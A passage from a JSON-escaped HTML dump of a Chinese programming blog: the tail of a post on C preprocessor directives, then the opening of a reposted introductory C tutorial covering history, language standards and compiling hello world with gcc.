...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e源码中并没有给出\u003ccode\u003eARRAY_SIZE\u003c/code\u003e的定义,所以我们必须在编译时指定。\u003c/p\u003e\u003cp\u003e通用格式为:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e-Dname\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e-Dname=stuff\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e所以我们应该这样给出它的定义:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc main.c -DARRAY_SIZE=100\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"条件编译\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E6%9D%A1%E4%BB%B6%E7%BC%96%E8%AF%91\" class=\"headerlink\" title=\"条件编译\"\u003e\u003c/a\u003e条件编译\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e constant-expression\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statements\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* #elif可选 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelif\u003c/span\u003e constant-expression\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statements\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statements\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003econstant-expression\u003c/code\u003e,即常量表达式,意思是说要么它是一个字面值常量(比如1),要么就是用define定义的符号。\u003c/p\u003e\u003cp\u003e此时,预处理器就会根据这几个常量表达式来对源代码选择性地编译了。在进行debug时尤为有用。定义宏\u003ccode\u003eDEBUG\u003c/code\u003e,若值为1则编译一些测试时才会用的语句;否则只编译其他语句。\u003c/p\u003e\u003cp\u003e同时它还有个较常用的指令:是否被定义\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//这几条都是等价的\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e defined(symbol)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e symbol\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//还可以用逻辑运算\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e !defined(symbol)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//和下面这条等价\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e symbol\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面所说的那些条件编译指令也支持嵌套。\u003c/p\u003e\u003ch2 id=\"include\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#include\" class=\"headerlink\" title=\"include\"\u003e\u003c/a\u003einclude\u003c/h2\u003e\u003cp\u003e\u003ccode\u003e#include\u003c/code\u003e表示将后面跟随的文件的所有内容复制并替换这一行语句。它有两种形式:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//这表示函数库文件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//这表示同目录文件。如果找不到,则会在函数库目录查找\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"其他\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/#%E5%85%B6%E4%BB%96\" class=\"headerlink\" title=\"其他\"\u003e\u003c/a\u003e其他\u003c/h2\u003e\u003cp\u003e包含\u003ccode\u003e#error\u003c/code\u003e,\u003ccode\u003e#line\u003c/code\u003e,\u003ccode\u003e#progma\u003c/code\u003e等。不一一介绍了。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e宏的内容基本就是这些了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/11/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E9%A2%84%E5%A4%84%E7%90%86%E5%99%A8/"},{"title":"《C语言入门教程》阮一峰","time":"2021-11-02T05:20:21Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e原文地址:\u003ca href=\"https://www.ruanyifeng.com/blog/2021/09/c-language-tutorial.html\"\u003ehttps://www.ruanyifeng.com/blog/2021/09/c-language-tutorial.html\u003c/a\u003e\u003cbr/\u003e我把这些都转载到这里了\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"C-语言简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"C 语言简介\"\u003e\u003c/a\u003eC 语言简介\u003c/h2\u003e\u003ch3 id=\"历史\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8E%86%E5%8F%B2\" class=\"headerlink\" title=\"历史\"\u003e\u003c/a\u003e历史\u003c/h3\u003e\u003cp\u003eC 语言最初是作为 Unix 系统的开发工具而发明的。\u003c/p\u003e\u003cp\u003e1969年,美国贝尔实验室的肯·汤普森(Ken Thompson)与丹尼斯·里奇(Dennis Ritchie)一起开发了 Unix 操作系统。Unix 是用汇编语言写的,无法移植到其他计算机,他们决定使用高级语言重写。但是,当时的高级语言无法满足他们的要求,汤普森就在 BCPL 语言的基础上发明了 B 语言。\u003c/p\u003e\u003cp\u003e1972年,丹尼斯·里奇和布莱恩·柯林汉(Brian Kernighan)又在 B 语言的基础上重新设计了一种新语言,这种新语言取代了 B 语言,所以称为 C 语言。\u003c/p\u003e\u003cp\u003e1973年,整个 Unix 系统都使用 C 语言重写。此后,这种语言开始快速流传,广泛用于各种操作系统和系统软件的开发。\u003c/p\u003e\u003cp\u003e1988年,美国国家标准协会(ANSI)正式将 C 语言标准化,标志着 C 语言开始稳定和规范化。\u003c/p\u003e\u003cp\u003e几十年后的今天,C 语言依然是最广泛使用、最流行的系统编程语言之一,Unix 和 Linux 系统现在还是使用 C 语言开发。\u003c/p\u003e\u003ch3 id=\"C-语言的特点\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E7%89%B9%E7%82%B9\" class=\"headerlink\" title=\"C 语言的特点\"\u003e\u003c/a\u003eC 语言的特点\u003c/h3\u003e\u003cp\u003eC 语言能够长盛不衰、广泛应用,主要原因是它有一些鲜明的特点。\u003c/p\u003e\u003cp\u003e(1)低级语言\u003c/p\u003e\u003cp\u003eC 语言能够直接操作硬件、管理内存、跟操作系统对话,这使得它是一种非常接近底层的语言,也就是低级语言,非常适合写需要跟硬件交互、有极高性能要求的程序。\u003c/p\u003e\u003cp\u003e(2)可移植性\u003c/p\u003e\u003cp\u003eC 语言的原始设计目的,是将 Unix 系统移植到其他计算机架构。这使得它从一开始就非常注重可移植性,C 程序可以相对简单地移植到各种硬件架构和操作系统。\u003c/p\u003e\u003cp\u003e除了计算机,C 语言现在还是嵌入式系统的首选编程语言,汽车、照相机、家用电器等设备的底层系统都是用 C 语言编程,这也是因为它良好的可移植性。\u003c/p\u003e\u003cp\u003e(3)简单性\u003c/p\u003e\u003cp\u003eC 语言的语法相对简单,语法规则不算太多,也几乎没有语法糖。一般来说,如果两个语法可以完成几乎相同的事情,C 语言就只会提供一种,这样大大减少了语言的复杂性。\u003c/p\u003e\u003cp\u003e而且,C 语言的语法都是基础语法,不提供高级的数据结构,比如 C 语言没有“类”(class),复杂的数据结构都需要自己构造。\u003c/p\u003e\u003cp\u003e(4)灵活性\u003c/p\u003e\u003cp\u003eC 语言对程序员的限制很少。它假设程序员知道自己在干嘛,不会限制你做各种危险的操作,你干什么都可以,后果也由自己负责。\u003c/p\u003e\u003cp\u003eC 语言的哲学是“信任程序员,不要妨碍他们做事”。比如,它让程序员自己管理内存,不提供内存自动清理功能。另外,也不提供类型检查、数组的负索引检查、指针位置的检查等保护措施。\u003c/p\u003e\u003cp\u003e表面上看,这似乎很危险,但是对于高级程序员来说,却有了更大的编程自由。不过,这也使得 C 语言的 debug 不太容易。\u003c/p\u003e\u003cp\u003e(5)总结\u003c/p\u003e\u003cp\u003e上面这些特点,使得 C 语言可以写出性能非常强、完全发挥硬件潜力的程序,而且 C 语言的编译器实现难度相对较低。但是另一方面,C 语言代码容易出错,一般程序员不容易写好。\u003c/p\u003e\u003cp\u003e此外,当代很多流行语言都是以 C 语言为基础,比如 C++、Java、C#、JavaScript 等等。学好 C 语言有助于对这些语言加深理解。\u003c/p\u003e\u003ch3 id=\"C-语言的版本\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E7%89%88%E6%9C%AC\" class=\"headerlink\" title=\"C 语言的版本\"\u003e\u003c/a\u003eC 语言的版本\u003c/h3\u003e\u003cp\u003e历史上,C 语言有过多个版本。\u003c/p\u003e\u003cp\u003e(1)K&R C\u003c/p\u003e\u003cp\u003e\u003ccode\u003eK\u0026amp;R C\u003c/code\u003e指的是 C 语言的原始版本。1978年,C 语言的发明者丹尼斯·里奇(Dennis Ritchie)和布莱恩·柯林(Brian Kernighan)合写了一本著名的教材《C 编程语言》(The C programming language)。由于 C 语言还没有成文的语法标准,这本书就成了公认标准,以两位作者的姓氏首字母作为版本简称“K\u0026amp;R C”。\u003c/p\u003e\u003cp\u003e(2)ANSI C(又称 C89 或 C90)\u003c/p\u003e\u003cp\u003eC 语言的原始版本非常简单,对很多情况的描述非常模糊,加上 C 语法依然在快速发展,要求将 C 语言标准化的呼声越来越高。\u003c/p\u003e\u003cp\u003e1989年,美国国家标准协会(ANSI)制定了一套 C 语言标准。1990年,国际标准化组织(ISO)通过了这个标准。它被称为“ANSI C”,也可以按照发布年份,称为“C89 或 C90”。\u003c/p\u003e\u003cp\u003e(3)C95\u003c/p\u003e\u003cp\u003e1995年,美国国家标准协会对1989年的那个标准,进行了补充,加入多字节字符和宽字符的支持。这个版本称为 C95。\u003c/p\u003e\u003cp\u003e(4)C99\u003c/p\u003e\u003cp\u003eC 语言标准的第一次大型修订,发生在1999年,增加了许多语言特性,比如双斜杠(\u003ccode\u003e//\u003c/code\u003e)的注释语法。这个版本称为 C99,是目前最流行的 C 版本。\u003c/p\u003e\u003cp\u003e(5)C11\u003c/p\u003e\u003cp\u003e2011年,标准化组织再一次对 C 语言进行修订,增加了 Unicode 和多线程的支持。这个版本称为 C11。\u003c/p\u003e\u003cp\u003e(6)C17\u003c/p\u003e\u003cp\u003eC11 标准在2017年进行了修补,但发布是在2018年。新版本只是解决了 C11 的一些缺陷,没有引入任何新功能。这个版本称为 C17。\u003c/p\u003e\u003cp\u003e(7)C2x\u003c/p\u003e\u003cp\u003e标准化组织正在讨论 C 语言的下一个版本,据说可能会在2023年通过,到时就会称为 C23。\u003c/p\u003e\u003ch3 id=\"C-语言的编译\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E7%BC%96%E8%AF%91\" class=\"headerlink\" title=\"C 语言的编译\"\u003e\u003c/a\u003eC 语言的编译\u003c/h3\u003e\u003cp\u003eC 语言是一种编译型语言,源码都是文本文件,本身无法执行。必须通过编译器,生成二进制的可执行文件,才能执行。编译器将代码从文本翻译成二进制指令的过程,就称为编译阶段,又称为“编译时”(compile time),跟运行阶段(又称为“运行时”)相区分。\u003c/p\u003e\u003cp\u003e目前,最常见的 C 语言编译器是自由软件基金会推出的 GCC 编译器,它可以免费使用。本书也使用这个编译器。Linux 和 Mac 系统可以直接安装 GCC,Windows 系统可以安装 MinGW。但是,也可以不用这么麻烦,网上有在线编译器,能够直接在网页上模拟运行 C 代码,查看结果,下面就是两个这样的工具。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCodingGround: \u003ca href=\"https://tutorialspoint.com/compile_c_online.php\"\u003ehttps://tutorialspoint.com/compile_c_online.php\u003c/a\u003e\u003c/li\u003e\u003cli\u003eOnlineGDB: \u003ca href=\"https://onlinegdb.com/online_c_compiler\"\u003ehttps://onlinegdb.com/online_c_compiler\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e本书的例子都使用 GCC 在命令行进行编译。\u003c/p\u003e\u003ch3 id=\"Hello-World-示例\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Hello-World-%E7%A4%BA%E4%BE%8B\" class=\"headerlink\" title=\"Hello World 示例\"\u003e\u003c/a\u003eHello World 示例\u003c/h3\u003e\u003cp\u003eC 语言的源代码文件,通常以后缀名\u003ccode\u003e.c\u003c/code\u003e结尾。下面是一个简单的 C 程序\u003ccode\u003ehello.c\u003c/code\u003e。它就是一个普通的文本文件,任何文本编译器都能用来写。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面这个程序的唯一作用,就是在屏幕上面显示“Hello World”。\u003c/p\u003e\u003cp\u003e这里不讲解这些代码是什么意思,只是作为一个例子,让大家看看 C 代码应该怎么编译和运行。假设你已经安装好了 GCC 编译器,可以打开命令行,执行下面的命令。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc hello.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令使用\u003ccode\u003egcc\u003c/code\u003e编译器,将源文件\u003ccode\u003ehello.c\u003c/code\u003e编译成二进制代码。注意,\u003ccode\u003e$\u003c/code\u003e是命令行提示符,你真正需要输入的是\u003ccode\u003e$\u003c/code\u003e后面的部分。\u003c/p\u003e\u003cp\u003e运行这个命令以后,默认会在当前目录下生成一个编译产物文件\u003ccode\u003ea.out\u003c/code\u003e(assembler output 的缩写,Windows 平台为\u003ccode\u003ea.exe\u003c/code\u003e)。执行该文件,就会在屏幕上输出\u003ccode\u003eHello World\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ ./a.out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHello World\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eGCC 的\u003ccode\u003e-o\u003c/code\u003e参数(output 的缩写)可以指定编译产物的文件名。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -o hello hello.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令的\u003ccode\u003e-o hello\u003c/code\u003e指定,编译产物的文件名为\u003ccode\u003ehello\u003c/code\u003e(取代默认的\u003ccode\u003ea.out\u003c/code\u003e)。编译后就会生成一个名叫\u003ccode\u003ehello\u003c/code\u003e的可执行文件,相当于为\u003ccode\u003ea.out\u003c/code\u003e指定了名称。执行该文件,也会得到同样的结果。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ ./hello\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eHello World\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eGCC 的\u003ccode\u003e-std=\u003c/code\u003e参数(standard 的缩写)还可以指定按照哪个 C 语言的标准进行编译。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -std=c99 hello.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令指定按照 C99 标准进行编译。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003e-std\u003c/code\u003e后面需要用\u003ccode\u003e=\u003c/code\u003e连接参数,而不是像上面的\u003ccode\u003e-o\u003c/code\u003e一样用空格,并且\u003ccode\u003e=\u003c/code\u003e前后也不能有多余的空格。\u003c/p\u003e\u003ch2 id=\"C-语言基本语法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E5%9F%BA%E6%9C%AC%E8%AF%AD%E6%B3%95\" class=\"headerlink\" title=\"C 语言基本语法\"\u003e\u003c/a\u003eC 语言基本语法\u003c/h2\u003e\u003ch3 id=\"语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%AF%AD%E5%8F%A5\" 